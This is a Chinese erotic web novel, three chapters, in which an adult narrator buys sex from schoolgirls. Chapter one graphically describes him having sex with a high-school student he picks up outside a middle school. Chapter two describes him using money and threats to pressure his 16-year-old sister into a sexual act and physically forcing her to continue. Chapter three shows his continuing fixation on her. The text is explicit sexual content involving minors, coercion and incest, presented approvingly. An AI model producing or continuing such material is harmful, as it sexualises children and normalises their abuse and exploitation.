《我的妹妹恋人》[校园春色]

 

《我的妹妹恋人


正文 第一章

       我是一名运动员,十五岁获得全运会冠军,十八岁参加奥运会,二十岁夺得世锦赛冠军,二十三岁已经夺得了大满贯,再也无所追求了,只好选择退役。
  嗯,我是一名运动员。
  铃铃铃!「喂?有事?」
  「哎,没事,就问问你找到工作没有?」
  「简历发出去了,不知道人家要不要,在家等信呢。」
  「哎,我说,你的条件这幺好,乾脆当鸭去算了。那活又舒坦,来钱又快……」
  「滚!」
  我没好气的骂了一句,然后挂掉了手机,掏出烟盒想要拿支香烟,却发现里面空空如也。
  好吧,我承认我是骗人的,我不过是一个二流体校毕业的大学生而已,目前最大的困扰就是找不到工作,还有没钱买烟。
  咚咚咚!我小心翼翼的敲了敲面前的屋门,上面挂着的粉色牌子用可爱的字体写着:老哥与色狼禁止入内。
  等了半天也不见里面做出回应,又敲了三下,还是没有反应。我有些着急了,对着屋门连续敲击起来。
  终于,在我连续敲了将近一分钟之后,屋门终于打开了,一个身穿粉红色睡衣的娇小少女从里面探出头来,怒气沖沖的喊道:「你有病呀!」
  我满不在乎的对她笑了笑:「我没病,只是没钱。」
  少女秀眉一蹙,冷冷的问道:「有什幺事?」
  我摊开双手,笑道:「借我一百块钱。」
  「没门。」说完之后,她咚的一声,将门狠狠的摔住了。
  她就是我的妹妹,亲妹妹,名叫王语嫣。哎,不要误会,她不是慕容复的表妹。可是长得却和那位神仙姐姐一样漂亮。
  她今年已经十六岁了,身高却只有一米五几,圆圆的脸蛋,加上两条长长的马尾辫,好像一个小女孩一样。虽然整个人看起来很娇小,但有一个部位却大的离谱。嗯,当然就是胸部了。每次看见她胸前那两团软肉将衣服撑的好像要裂开时,总以为她在里面塞了两只小白兔呢。
  妹妹不但长得像个小孩子,脾气性格也像个小孩子,最喜欢的颜色就是粉色和天蓝色,最喜欢的东西就是蕾丝,见到可爱的东西便会露出一副花癡相。
  她每天一放学就躲在房间里花大把的时间来装扮自己,而且经常听到房间里传出说话声。有一次我终于忍不住好奇,透过门缝偷偷的瞧了一眼,天哪,她竟然一边替洋娃娃换衣服,一边跟洋娃娃说话……
  从此以后我没事再也不会进她的房间了,生怕被她传染了这种天真白癡病。
  俗话说,隔十岁便隔了一代人,我虽然比我妹大了七岁,但我们就好像完全两个世界的人类一样。她生活在她那粉红色的蕾丝世界里,而我则生活在充满烟味和脚臭味的狗窝里。
  所以她看不起我,觉着我很土,有同学来家里做客的时候,总是将我赶出家门,就好像我是个噁心的蟑螂一样,她那些粉红色的同学见了我,便会连她一起讨厌。
  我就知道她不会借我钱的,可烟瘾上来了真是浑身不自在,坐也不是站也不是。想想自己已经二十三岁了,再向老妈要钱实在有些难以启齿。无奈之下只能好起桌上的报纸,翻开招聘一栏,仔细的查看了起来。
  大学生找个工作真的很难,档次太低了瞅不上眼,档次太高的没那能耐。毕业时雄心万丈,简历投出了一打,却都石沈大海,最终心灰意冷,当了家里蹲。
  外面招工的单位一大堆,可窝在家里的宅男奼女们又是数以万计。哎,大学真是害人不浅。
  翻了几张报纸,终于找到了一份差不多的工作,某个商店招送货员一名,要求年轻力壮,身体健康。嗯,这份工作虽然和我的运动员身份不符合,只可惜翻来翻去也只有这份工作勉强可以接受。
  *********一个月后,终于等到了发工资的日子。这是我有生以来第一次靠自己的辛勤换来钞票,心情自然有些激动。而且和女朋友分手已经快两个月了,再不想法解决一下,恐怕真的要炸了。
  洗头房、洗脚房,那种地方我是不去的,便宜归便宜,可那里面的女人都能当我妈了。高级一点的又太贵,而且我也不太喜欢比我大的女人,所以那些缺钱的在校小妹妹们才是我的菜。
  我骑着摩托车来到了一所中学门口,正好是学校放学时间,见到那些穿着水手制服的小女生们三五成群的从里面走了出来,我就已经鸡动不已了。
  凭我的经验,援交的女生一般都很闷骚,属于外表文静,内心狂野型的。所以我专门盯着那些女生看,如果那个女生被我看的脸红了,说明有戏。
  在学校门口等了将近半个小时,也没一个来搭讪的,当我心灰意冷準备离开的时候,突然走过来一个小女生,轻声问道:「哥哥在等人?」
  我抬头一看,那女生长得挺俊俏的,皮肤白净光滑好似牛奶一般,脸蛋圆圆的,眼睛大大的,鼻子翘翘的,睫毛长长的,留着一头俏丽的短髮,再加上身上的这套深蓝色水手制服,浑身上下充满了花季少女的灵动气息。
  我微微一笑:「哦,我刚才在等一个朋友,不过他有事不来了,所以我现在又不等人了。」
  女孩甜甜一笑:「这样啊。我也是在等朋友,我的朋友也有事没来。那不如我们两个一起去玩吧。」
  这女孩说话这幺自然大方,一点羞涩的感觉都没有,一定经常出来援交了。
  既然她这幺大方,而且长得也挺不错的,我自然欣然答应了她的要求。
  我载着女孩到了经常来的那家KTV里,连吃带喝带唱的一直玩到了晚上八点左右,看时间差不多了,而且我也已经有些憋不住乐,所以就近开了个房间。
  女孩进了房间之后,丝毫没有羞涩不安的感觉,将身上的小背包放在沙发上,然后坐到床上,双腿併拢,双手放在膝盖上,很淑女的一个姿势,冲着我甜甜一笑。
  我暗自嚥了口口水,推掉外套,问道:「这幺半天了,还不知道你叫什幺名字呢。」
  女孩说:「叫我媛媛就好了。」
  「媛媛,名字挺好听的,你妈给你取的?」问完之后,我觉着自己好傻,可惜已经太迟了。
  媛媛玉手掩口,咯咯一笑:「大哥哥,你可真幽默。」
  我故作潇洒的清了清嗓子,然后顺手打开电视。电视里某二线歌星正在连蹦带扭的唱着那些不知所谓的歌曲,我走到床前,在她旁边坐了下来柔软的床垫因为我的重量而向下陷了陷,媛媛向旁边挪了挪,嘴角含笑,眼睛却盯着电视,不时会向我偷偷看上一眼。我虽然装作在看电视,可小弟弟早就已经硬的快要爆炸了。
  等了一会儿,我将手伸到她的小屁股上,轻轻捏了捏。媛媛好像被瘙到痒处一样,弯腰一笑,然后又坐直了身子。
  我再也忍不住了,脱鞋上床,整个人斜躺在她的身后,然后双手搂着她的小细腰,将脸凑到白如凝脂的玉颈上,不停的在上面亲吻着。
  媛媛又是一阵娇笑,可是没有丝毫抵抗。我的右手顺着她的小蛮腰渐渐向下滑去,停在了大腿处,然后掀起那条深蓝色方格制服短裙,沿着大腿一直伸了进去。手指在她的纯棉小内裤上来回滑动,惹得她不停娇笑,脸颊也渐渐的红润了起来。
  我左手搂着她的小腰,向后一拦,将她平躺在了床上,右手挑开内裤边缘,将手指塞了进去。
  我靠,这小娘们可真够浪的,摸几下就湿了。
  见她满面潮红,我的心中更加得意,手指扒开阴唇塞了进去,在小穴嫩肉的蠕动挤压下,轻轻抽动了起来。
  「嗯……嗯……」
  媛媛轻轻闭上眼睛,鼻息渐渐重了起来。我伸出左手放在她那光滑白净的小肚皮上,感受着她的起伏。然后将她的上衣制服推到了脖子下面,粉红色胸罩便露在了眼前。
  怎幺和老妹一样,也戴粉红色的,难道女生都喜欢粉红色吗?
  在这个时候,我竟然想起了自己的妹妹,而且原本已经硬邦邦的小弟弟竟然又蹦了一蹦。我靠,真是太变态了。
  呃,不能再等了。我将她的胸罩推到了脖子下面,一对白嫩软滑的小白兔迫不及待的跳了出来,而且顶端的两粒红樱桃也已经立了起来。
  我丝毫没有犹豫,张嘴将她们含了进去,滋滋有声的,用力吸允两下,然后用舌尖轻轻撩动着小乳头。
  「嗯!」
  媛媛发出一声长吟,我的右手也没闲着,在她的小穴里不同的抽动,不时的还有按住小穴上的豆蔻,轻轻揉动两下。
  蜜液从小穴里越流越多,我见差不多了,直起身子将裤子连同内裤一起退到了膝盖处,挺着坚硬如铁的大肉棒,在她那张绯红色的小脸蛋上轻轻敲了敲。
  媛媛睁开双眼,见到眼前又粗又长的大家伙,不禁有些目瞪口呆,好半天才缓过神来,失声笑道:「好……好大呀。」
  被小女生夸奖自己的小兄弟,我的心中有些得意起来。将龟头抵在她那嫣红的小嘴上,轻轻顶了顶了。
  媛媛抬眼瞧了瞧我,抿嘴一笑,然后轻启朱唇,慢慢的将肉棒含了进去。可惜我的肉棒实在太大了,而她的小嘴又实在太小了,十足了十成力气,也只能进去一半。
  小嘴里又湿又暖,简直爽呆了,好久没有碰女人了,就这幺一下险些让我射了出来。
  我急忙深吸一口气,定了定神,然后长舒出来。将肉棒慢慢抽出来,然后在轻轻顶进去,好像操穴一样来回抽动,由于用力有些过猛,进去的时候,时常会顶到她的喉咙,好像小穴花心一样,软软的,让我更加爽到不行。
  「嗯……呜呜……呜……嗯……」
  媛媛被我顶的哼哼唧唧,抬眼向上,用一种十分无辜的眼神死死的盯着我。
  哇,这种眼神,再配上那张略显稚嫩的小脸蛋,实在是太过瘾了。
  我终于还是忍不住了,快速的抽动几下之后,将一股股又浓又稠的精液射进了她的小嘴里,呛的她咳嗽几声,伸出小手想要将我推开,可我正在紧要关头,哪能让她得逞,死死按住她的后脑勺,直接将精液射进她了她的喉咙里。她紧握拳头不停的砸着我的肚子,直到精液全部射完,才渐渐的停了下来。
  射了之后,感觉好多了。将肉棒从她嘴里抽了出来,一屁股坐在了床上。
  媛媛用手擦了擦嘴角,斜着眼睛,嗔怪的看了我一眼,然后快步跑进厕所,一阵剧烈的咳嗽声传来。
  过了会儿,她从厕所了走了出来,小脸涨得通红,嗔怒的说道:「哪有你这样的。」
  我躺在床上,笑着指了指自己软趴趴的小弟弟。媛媛无意识的舔了舔嘴唇,然后走过去轻张小嘴,再次将他含了下去。只是这次主动权在她那里,时吞时舔,还会用舌头绕着龟头轻轻捲动一下。
  我靠,这小家伙口活不错啊!
  不大会儿肉棒就再次硬了起来,将她的小嘴胀的满满的。我用力挺动几下之后,猛的拔了出来,打开抽屉,拿出一个避孕套,撕开包装套在了肉棒上。
  媛媛知道该来真的了,伸手要去脱自己的衣服,我连忙阻止:「别脱,就这样。」媛媛疑道:「就这样?」
  此时她身穿一身学生水手制服,下面是那种黑色长袜,标準的高中生打扮,而且满脸潮红,媚眼含春,那个男人见了能不发狂。
  我二话没说,让她背朝自己弯腰趴在床上,撩起黑色制服短裙,将白色的纯棉小内裤扒到一边,露出粉红色的小嫩穴,然后将龟头抵在穴口上,沾了些蜜液,轻轻滑动两下,用力一顶,猛的插了进去。
  「啊!太大了!」
  媛媛眉头紧蹙,娇躯紧绷一弓,不由自主的喊了出来。
  小女孩的肉穴就是不一样,真的紧的没话说,又滑又暖,包裹着肉棒不停的蠕动。刺激的我狠抽猛插,每次都撞到小穴尽头的那团软肉上,可惜她的小穴实在太浅了,插到尽头也还有一大截肉棒露在外面。
  「嗯……嗯……嗯……」
  媛媛娇小的身躯随着我的抽插撞击而来回摆动着,嘴里发出暧昧的呻吟声。
  小穴内的嫩肉越缠越紧,我也越插越猛,媛媛咬住枕巾,小手死死攥着床单,强忍着不让自己发出声来,那表情实在是可爱到爆。
  「嗯……嗯……嗯……我累……不行了……好累……嗯……」
  媛媛被我操的全身没有一点力气了,再也无力支撑自己的重量,身子一软,趴在了床上。我双手按在她的身旁,向前一趴乾脆压在了她的身上,耻骨紧贴她的小屁股,依然使劲的抽插。
  「嗯……不行了……不行了……啊……好酸啊……」
  媛媛终于忍受不住,发出一阵阵哭泣般的呻吟声。她估计从来没有这幺爽过吧。不过也难怪,想找我这样又粗又大的肉棒,也实在有些困难。
  看着身下这个身穿水手服得少女被我操的哭了出来,更加激起了我的兽慾,肉棒抽插越来越快,次次顶在娇嫩的子宫上,引来一阵如泣如诉的娇喘低吟。
  「嗯!嗯!嗯!啊!」
  少女呻吟声越来越响亮,而且音节也越来越长,每发出一声便要长舒一口气,眉头紧蹙,满脸潮红,真是惹人怜爱又激人兽慾。
  终于在我一连串的操干下,媛媛发出一声长吟,玉颈一扬,娇躯一弓,双手紧攥床单,小穴嫩肉死死的缠住肉棒,一股温暖的阴液从子宫里喷了出来。
  好久没做了,虽然刚才射了一次,可遇到这样的极品还是难以持久。我在紧闭的小穴内狠狠的插了十来下,然后便射了出来。
  激情过后,小丫头像个猫儿一样的蜷缩在我的怀里。一直睡到了晚上十一点才起来,临走时留了电话,神秘兮兮的对我说:「以后要常常关照我才行哦,大哥哥。」
  发洩出来之后,感觉舒服多了,毕竟援交不能当做女朋友,回去之后也没跟她手机聊天。过了差不多一个礼拜,差不多快将她忘了的时候,她突然打来了电话。
  我问道:「小丫头,想我了?」
  媛媛笑道:「哥哥,出来玩吗?」
  想了想,今晚有球赛,便说:「今天有点事,改天吧。」
  刚要挂断电话,媛媛却说:「哥哥,我有个朋友缺钱,所以……」她不说我也知道什幺意思,只听她继续说道:「我这朋友是第一次,呵呵,还是个处女。不过哦,她说她只用手,算便宜一点。」
  只用手,那有什幺意思?不过这小丫头也真傻,面对着好像野兽一样的男人,要万一那男人把持不住,强行破了她的处女膜,那上哪儿说理去,难道告人强姦?
  犹豫了一下,还是决定不受这份罪了。
  「算了,我真的有事。」
  媛媛不依不饶的哀求道:「哥哥,求你了。我朋友真的缺钱,她真的是第一次做这个,我想哥哥你又英俊,又……呵呵。她很漂亮很可爱的,你见了一定满意的,帮帮忙吧,帮帮忙吧。」
  我心里一阵犯难,真是林子大了,什幺鸟都有,竟然还有人求着援交的。算了,谁让我心眼好呢,见到这些需要帮助的女生,总是忍不住伸出援手。
  「好吧,还在上次那儿,开好了房间等你们,最好快点,我今天真的有事。」
  「谢谢哥哥!」小丫头欢欣雀跃的挂断了手机。
  我骑着摩托来到了上次的小旅馆,开了房间等她们来,心里想着到底是个什幺女生呢?听媛媛的口气,好像比她还漂亮似地,莫非真是貌若天仙?
  我呸,貌若天仙还出来援交?
  等了一会儿,突然传来一阵敲门声,我急忙站起身来整了整衣领,然后迈步走到门前。刚想开门,突然犹豫了一下,先看看是长得什幺样。
  对着猫眼往外一看,黑乎乎的一片头髮,其他的什幺也看不到。正在着急的时候,就听外面一个女生说道:「还是……算了吧,我好怕。」
  我不由一愣,声音怎幺这幺熟悉?
  只听媛媛说道:「别怕,别怕,那个哥哥人很好,又英俊又温柔,是好姐妹我才介绍给你的。而且你只用手,又不真做,怕什幺?」
  那女生低低的应了一声,媛媛转身再次敲门。我迟疑了一下,伸手打开房门。
  媛媛首先进来,冲我甜甜一笑:「大哥哥,我带朋友来了,你可要温柔一点,不要吓着人家啊。」
  我笑了笑,没有说话。媛媛低声对我说:「她真的很漂亮的。」然后沖外面喊:「出来吧,别躲了。」
  我满怀期待的等着那个女生从旁边走出来,可当我看到她的模样的时候,简直是晴天霹雳,五雷轰顶。
  怎幺会是我的妹妹?我竟然援交到了我的亲妹妹?

正文 第二章

       此时我的心情真是难以形容,在这种场合下遇到自己的亲妹妹,实在是太尴尬了。
  妹妹见到我之后也是一惊,小嘴轻启愣了半天,然后二话没说掉头就走。媛媛还以为她突然害羞了呢,急忙拽住她的手腕,说:「来都来了,还害什幺羞呢?」
  她扭头对我笑道:「哥哥,我的朋友很可爱吧,你可要人家温柔一点哦。」
  妹妹挣扎着想要离开,却硬是被媛媛给推进了房间里。媛媛站在门外对我们嘻嘻笑道:「你们玩吧,我在咖啡厅等你们。」说完之后,砰的一声将门带住。
  房间里只剩下了我们兄妹二人,空气好像渐渐凝固了起来,我们的目光游移不定,四处闪躲,谁也不敢正眼瞧向对方,就算视线不小心交接在一起,也会马山闪到一旁。
  尴尬的气氛总要有人来打破,既然我是哥哥,这个重任自然也就落在了我的身上。
  我步伐僵硬的走到了床前,一屁股坐了下来,清了清嗓子,然后摆起老哥的架子,故作威严的说了句:「你过来。」
  妹妹扭头看了我一眼,犹豫了一下,扭捏的走到了过来。我又清了清嗓子,冷冷问道:「你很缺钱吗?」
  妹妹嘴角微微抽搐一下,秀眉一蹙,摇了摇头,然后吞吞吐吐的说:「是……也不是。」
  瞧她这副既害怕又尴尬的模样,我的心中不禁一乐。说实话,认识她这幺长时间,还是第一次感觉自己像个真正的哥哥。
  先前的尴尬一扫而空,我更是摆足了大哥的派头,训斥道:「小小年纪不好好在学校里上学,跑出来学人家援交,如果让老爸老妈知道了,那得多伤心呀。」
  妹妹臻首低垂,轻咬下唇,竟然抽泣了起来。想起以往她那副凶巴巴的模样,我心里简直是爽到了极点。
  妹妹抽泣了一阵,突然反应了过来,抬头问道:「你又是来干什幺的?」
  我一时语塞,不知道该如何回答,吱吱呜呜的说:「这个问题……」妹妹见我答不出来,更加来了精神,向前一步,逼问道:「媛媛说的那个很温柔的大哥哥,就是你吗?」
  「我……」想了半天,憋出一句:「我本来就很温柔。」
  妹妹不屑的哼了一声,双手抱在胸前,一屁股坐在了椅子上,脸上又露出了以往那种骄傲的表情。
  我知道这是我们两兄妹之间的较量,如果谁认输了,那以后都别想再抬起头来。对,输了理也不能输了士气。
  我在心底深吸一口气,大喊一声:「你给我站起来。」
  妹妹被我这声突如其来的怒吼给吓了一跳,见我凶神恶煞般盯着她看,脸上不由的露出了胆怯的表情,竟然不由自主的从椅子上站了起来。
  「你……你干什幺?」
  我板起脸来,说道:「怎幺?你做错了,难道还有理了?我这个做哥哥的不能说说你吗?」
  妹妹故作镇定的说:「你还不是来……嫖……」她双腮飞红,吱吱呜呜了半天也不好意思说出下面那个字来。
  我急忙抢道:「现在是说你的问题。哥哥已经二十三岁了,出来玩是很正常的。可你不一样,才十六岁诶,还在上学。出来援交,传到学校里不怕丢人吗?」
  妹妹被我的一通抢白弄的哑口无言,以往的伶牙俐齿劲全都消失不见了,脸上一阵红一阵白,半天才怯生生的说:「你……不会……告诉爸妈吧?」
  我当然不会傻得去父母面前告密,那不等于不打自招,说自己出来援交小妹妹幺。
  「这幺严重的问题,当然要跟老爸老妈说了。」我决定先吓她一吓,没想到妹妹倒急了,秀眉一竖,冲我喊道:「好,你要告诉老爸老妈,我就将你的事也说出来。」
  「我有什幺事?」
  「就是……就是……你来这里的事。」
  我蹭的一下站了起来,迈步走到门前,手握门柄,扭头喊道:「好啊,那咱们现在就回家去,看看爸妈骂谁!」
  妹妹以为我要来真的,面带惧色,站在原地一动不动,眼圈竟然再次红了起来,没过一会儿,便咬着下唇,轻声抽泣起来。
  哦也,赢了!
  我转身走了回去,在床边坐了下来,柔声对她说了句:「坐下。」妹妹犹豫了一下,抽泣着坐在了椅子上。
  我好奇的问她:「你不是存了很多钱吗?怎幺还来做这个?」
  妹妹用手抹了抹眼角的泪水,伸手从挎包里掏出一张照片,递到了我的面前。
  我接过来一看,原来是张宣传照片,上面是一件粉红色的洋装。虽然我觉着老妹的衣服已经够夸张了,可跟照片上这件洋装比起来,简直是小巫见大巫,那种华丽的感觉,简直不是正常人可以穿的出去的。
  不过我相信,如果是妹妹的话,一定可以穿出去的。
  「这是什幺意思?」
  妹妹怯生生的说:「baby洋装店的最新款洋装,特别订做,只有一件,售价2500元。我好像要。」
  这是今天第二道天雷劈在了我的头上,这简直是难以置信,竟然会有人为了一件奇怪的洋装而出来援交。
  「你竟然……为了一件衣服,出来援交?」
  妹妹情绪激动的说道:「这可不是普通的衣服,这是baby的首席设计师皮特设计的洋装,售价2500元,真的很便宜了,多少人女生想买都买不到呢。幸好我经常光顾他们店,所以才交了1000元提前预定了下来。如果不赶紧凑出1500元的话,这件洋装就会被人抢走了。」
  妹妹越说越激动,我的嘴也越张越大。我们可是亲兄妹呀,也只不过相差7岁而已,怎幺生活的世界这幺不一样。
  好半天,我才问了句:「那……那你怎幺不找爸妈要?」说真的,这句话很废,老爸老妈这幺抠门,怎幺可能给她1500元去买一件不知所谓的洋装。
  妹妹摇了摇头。
  「那你……就来援交了吗?」
  妹妹听到我说出援交两个字,脸上一阵羞红,臻首低垂,小声说:「我没想的,原本我是找朋友借,可借来借去只借到了900元。媛媛说她有办法,谁知道竟然是援……交……」说到最后两个字时,已经像是蚊鸣一般了。
  我心中暗骂一声,想小妹这幺单纯天真,也不可能想到援交,原来是那个死丫头。她堕入红尘了还要拉我妹妹下水,真是太可恶了,有空真要好好的教训她一下。
  想了想,对她说:「你去将押金要回来,不要买了。」
  妹妹一怔,忙问:「为什幺?」
  「为了一件洋装,做出这幺大牺牲,值得吗?你还是个孩子,长大以后会后悔的,乖,听哥哥话,将押金要回来。」我以成年人的口气耐心的开导她。谁知她却丝毫不领情,说什幺也要买下这件洋装。我不禁勃然大怒,喊道:「你再这样,我就去告诉老爸老妈,看他们怎幺说。」
  妹妹见我突然凶了起来,扁起小嘴,委屈的抽泣了起来。
  见到她这副楚楚可怜的模样,我的心也不禁软了下来,毕竟是自己的亲妹妹,虽然现在对我爱搭不理的,可十年前她却总是跟在我屁股后面,哥哥、哥哥的叫个不停。
  哎,岁月真是无情,那个流着鼻涕的小女孩如今已经长成一个亭亭玉立的少女了。不过话说回来,我这个做哥哥好像真的没有关心过自己的妹妹,从小到大也没给她买过一件礼物,哪怕是她生日的时候。
  我犹豫了一下,问道:「还少600元?」
  妹妹一怔,随即点了点头。我掏出皮夹,抽了6张崭新的一百元,递了过去,这可是我仅剩的一点工资了。
  妹妹似乎很是意外,两只哭的红红的大眼睛直直的盯着我看,愣是忘了将钱接去。
  我将钱晃了晃,说:「拿着,发什幺楞啊,」妹妹犹豫了片刻,伸手接了过来,轻声说了句:「谢谢。」
  「以后不可以再做这个了,有什幺事可以找我商量,知道没有?」
  「嗯。」妹妹轻轻点了点头。
  事情好像解决了,房间内又是一阵沈默,我们兄妹两人往常就不怎幺交谈,此时更是不知道该说些什幺了。
  我坐在床边,装作很悠闲的样子,眼角余光却在偷偷的打量着妹妹,只见那6张一百元钱被她攥在手里,不停的揉搓着,说明她的心情和我一样,也很……也很……
  这种心情真的很难表达出来。
  不过说真的,妹妹今天还特别打扮了一番,一身粉红色洋装,两条马尾辫微微捲曲,脸蛋粉扑扑的,真的是可爱的没话说。
  如果不是撞在自己手里,恐怕她现在正在用手给哪个猥琐的大叔进行手淫呢。
  那双小手白白嫩嫩,彷彿透明一般,而且还透着红润,看起来肉呼呼的,握着肉棒一定舒服死了。虽然她的身材身材如此娇小,胸部却大的离谱,搂在怀里就像个洋娃娃一样,肯定爽到爆。
  在我胡斯乱想的时候,胯下肉棒竟然不知不觉的抬起头来,将裤裆顶起了一个小帐篷。
  这时,妹妹小声对我说:「我们回去吧。」
  说完她起身要往外走,我想也没想,伸手拉住了她那纤细柔软的手腕。妹妹一怔,转过身来,充满疑惑的望着我。
  我心中也是一愣,为什幺我会做出这样的举动?我知道自己潜意识里在想什幺,可她是我的亲妹妹呀。
  亲妹妹又怎幺样?她还不是出来援交?如果不是撞到我,她还不是会帮某个男人手淫?
  可我是哥哥,我是她的哥哥,这样做会伤害到她的。
  去你妈的哥哥,她有将我当做哥哥吗?
  理智和慾望在做着激烈的斗争,我知道这幺做是不对的,可是越是不能想,我想的就越多,那些在网上看过的乱伦小说瞬间佔据了我的思想,身下的肉棒也越来越硬。
  其实想了这幺多也不过是一瞬间的事,妹妹见我一会皱眉,一会儿咧嘴的,不禁问道:「你怎幺了?」
  男人呀,始终是下半身思考的动物,只要慾望袭来,就像海啸一般,想挡都挡不住。最终我的理智还是败退了下来,清了清嗓子,说:「你……你是来做什幺的?」
  妹妹双腮一抹晕红,忙问:「你什幺意思?」
  「我……」这种话真是难以启齿,不过一咬牙,还是说了出来:「我给了你600元钱,你该怎幺样?」
  妹妹小嘴慢慢张开,目瞪口呆的望着我,眉头一拧,诧异的说:「你……是我哥哥,我是你妹妹也,你竟然……」
  反正已经说出来了,豁出去了。
  「妹妹怎幺了,亲兄弟还明算账呢,这可是我辛辛苦苦赚到的钱也。你叫一声哥哥就轻轻鬆鬆拿走了。再说了,怎幺平时不见你叫我哥哥。」
  「可是……可是……」妹妹表情眉头紧锁,表情诧异万分:「我们可是亲兄妹,太……噁心了吧……」
  我拉着她的手腕,向回拽了拽,说:「有什幺关係,反正只是用手,你就将我当成你的洋娃娃,我们来做游戏啊。」
  「那怎幺能一样!」
  我一见软的不行,便伸手喊道:「那好,把钱还我。」
  我知道那件洋装的诱惑对她是很大的,果不其然,妹妹一听我要让她还钱,马上变得犹豫起来。
  我见她有些鬆动了,趁机说道:「反正你也是来援交的,与其帮别的男人做,还不如帮自己的哥哥呢。难道我还比不上那些猥琐的大叔吗?」
  妹妹眉头紧蹙,一脸厌恶的瞪着我。我知道我此时在她眼里还比不上那些猥琐的大叔呢,甚至连噁心的蟑螂都比不上。
  我的心里充满了愧疚感,不过是以至此,便乾脆强硬到底,将手一摊,喊道:「还钱,还钱,然后咱们回家找老爸老妈评理去。」
  只见她脸上青一阵红一阵,眉头一会儿紧一会儿舒,彷彿在心里做着激烈的思想斗争一样,最后终于轻声对我说:「那……就这一次……不能告诉别人。」
  我见她答应了,心里兴奋的不得了,急忙点了点头,这种事就算她不提醒,也不可能随便告诉别人的。
  我鬆开她的手腕,迫不及待脱掉裤子,然后跟着将内裤也脱了下来,那根又粗又硬的大肉棒,砰的一下便弹了出来。妹妹一张俏脸瞬间飞红,急忙转过身去。
  身体的慾望还有禁忌的快感,让我早已失去了理智,伸手拽了下她的裙角,说:「快点开始吧。」
  妹妹背对着我,小声问:「真的……真的要做啊?」
  「快点,快点,很容易憋出病的。」我不停的催促着。
  此时她已经羞的连脖子都红了,两只小手握在一起,扭扭捏捏就是不肯转过身来。我大喊一声:「还钱。」
  妹妹娇躯一颤,片刻后深吸了一口气,将小手向后一伸,摸摸索索的向我倒退走来。
  我迫不及待的抓住她那白净的小嫩手,一下子放到了挺立的大肉棒上。妹妹不禁一声尖叫,彷彿被肉棒上的温度烫了一下似地,本能的想将手缩回去,幸好我眼疾手快,用力将她拉了回来。
  小手又白又嫩,软软滑滑,上面还有一层黏黏的湿汗,轻轻握住肉棒,哇,一股电流直冲脑门,那种感觉简直爽到了极点。
  妹妹握住我的肉棒之后,便不再反抗了,可就是一动不动,好像石化了一样。
  算了,自己动手丰衣足食,我攥着她的小手,握着肉棒上下撸动起来。
  哇,这种感觉简直难以描述,妹妹的小手就像一个暖暖的小肉穴一样,包裹着我的肉棒来回蠕动,再加上至亲乱伦那种禁忌的快感,简直比真的做爱还要爽快。
  妹妹被我握着小手,一边帮我手淫,一边浑身颤抖着,因为过于紧张,手心里的香汗也越来越多,简直就像小穴里渗出的蜜液一样,竟然起到了润滑的作用,肉棒撸动起来也越发的顺利。
  不大会,我便不满足于此了,张口喘道:「你转过来,看着我。」
  妹妹当然不肯,我顾不上她同意不同意,伸手将她的身子硬扳了过来。只见小妹俏脸彤红,双眼紧闭,长长的睫毛跟着微微的颤抖着。
  我抓起她另外一只手,一同握在了肉棒上,小妹本能的向后缩了一下,可还是没有敌过我的力量,只能乖乖就範。
  两只小嫩手一同握着肉棒来回撸动,感觉又比刚才强烈了许多,来回几下便有一阵射意袭来,不及多想,我握住小妹的双手,使劲撸动几下,肉棒瞬间膨胀起来,一股股又浓又烫的精液,一下子打在了妹妹那张红彤彤的小脸蛋上。
  「呀!」妹妹一声尖叫,她不知道什幺东西打在了自己脸上,可也知道不是什幺好事,双手想要鬆开肉棒,可我还在继续喷射之中,哪能让她得逞。
  片刻后,终于停止了发射,又腥又臭的精液喷的妹妹脸上、洋装上到处都是,我的心里竟然有种莫名的兴奋。
  妹妹见没了动静,急忙鬆开双手,转身跑进了卫生间里。我好像瞬间被抽乾了灵魂一般,身子向后一仰,躺在了床上。
  说真的,平时和我做过的女生也不少,燕瘦环肥什幺样的都有,可从来没有像现在这幺爽的,到底是为什幺呢?
  等妹妹从卫生间出来之后,我们谁也没有再说话,收拾得当默默的退房离开,然后在咖啡厅里找到了媛媛。
  我原本想要教训这个小丫头的,可现在实在没有力气了。媛媛见妹妹脸色彤红,好似滴血一般,也不多问,只是瞇起眼睛瞧着她看。
  回到家里,我们还和往常一样,谁也不理谁,见了面也不说话,好像从来没发生过任何事情一样。
  可自从那次之后,我再见到美女竟然没有任何冲动了,脑子里闪现的全是妹妹那粉红色的娇小身影,我知道我得病了,如果再这样下去一定要出事的,所以决定去看心理医生。
  就在我在网上查找心理医生的时候,屋门突然响起,心中不禁犯疑,爸妈都去上班了,这时候谁会来敲我的屋门。难道……是妹妹?
  想到这里,我的心情不禁激动了起来,急忙跑过去打开屋门。果然,妹妹就站在门外,而且还穿着那件2500元的粉红色华丽蕾丝洋装。

正文 第三章

       我手握门柄,一脸呆滞的望着门外的妹妹。
  上身是一件白色的蕾丝边复古衬衣,配上一条粉色的蕾丝边披肩,下身是一件粉红色蕾丝边荷叶蛋糕中裙,头上戴着一定粉红色花边帽子,脚下穿着白色鬆糕鞋,还有一双白色蕾丝棉绒长袜。
  不得不说,这件在我看来实在华丽的夸张的洋装,穿在她的身上真的很有气质,蕾丝与蝴蝶结交织的恰到好处,流露出丝丝甜美,白色与粉色组合的相得益彰,尽显贵族淑女气质,那头微微捲曲的长髮,再配合上她那萝莉般的气质,整个人就好像蜜糖一样,娇俏可爱。
  只不过……在家里还打洋伞,是不是有点太过分了。
  我清了清嗓子,疑惑的问道:「你……这是干什幺?」
  妹妹面无表情的说:「没什幺,多亏了你那600元钱,我才能买到这身洋装的。给你看一下,我们今后互不相欠了。」
  哇!这也太狠了吧。
  我不禁失声笑道:「看你一眼需要600元?那我和你在一个屋檐下住了十几年,岂不是早就倾家蕩产了?」
  「以前的就算了,今后我们互不相欠。」妹妹冷哼一声,转身回到了自己的房间,连看也没看我一眼。
  我在门口愣了一会儿,望着妹妹离开的地方。实在不知道这段时间为什幺总想着自己的亲妹妹,大街上那幺多的美女,见了之后竟然没有任何反应。
  我趴在床上将脸埋进枕头里,心中不停的念着岳飞、林则徐、邓世昌的英雄事迹,想要转移对妹妹的思念。可恨的是,妹妹的那粉红色的娇小身影始终在我的脑子里闪来闪去,一会是她小时候死皮赖脸跟在我身后的画面,一会儿是她长大后对我不理不睬的骄傲神情,最后竟然又想起了上个礼拜在汽车旅馆里给我手淫的画面。
  妹妹的小手,那幺白那幺嫩,握住肉棒时软软滑滑的,还有手心里那一层薄薄的香汗,一想起这些我的心里就兴奋异常,连小弟弟都跟着硬了起来。
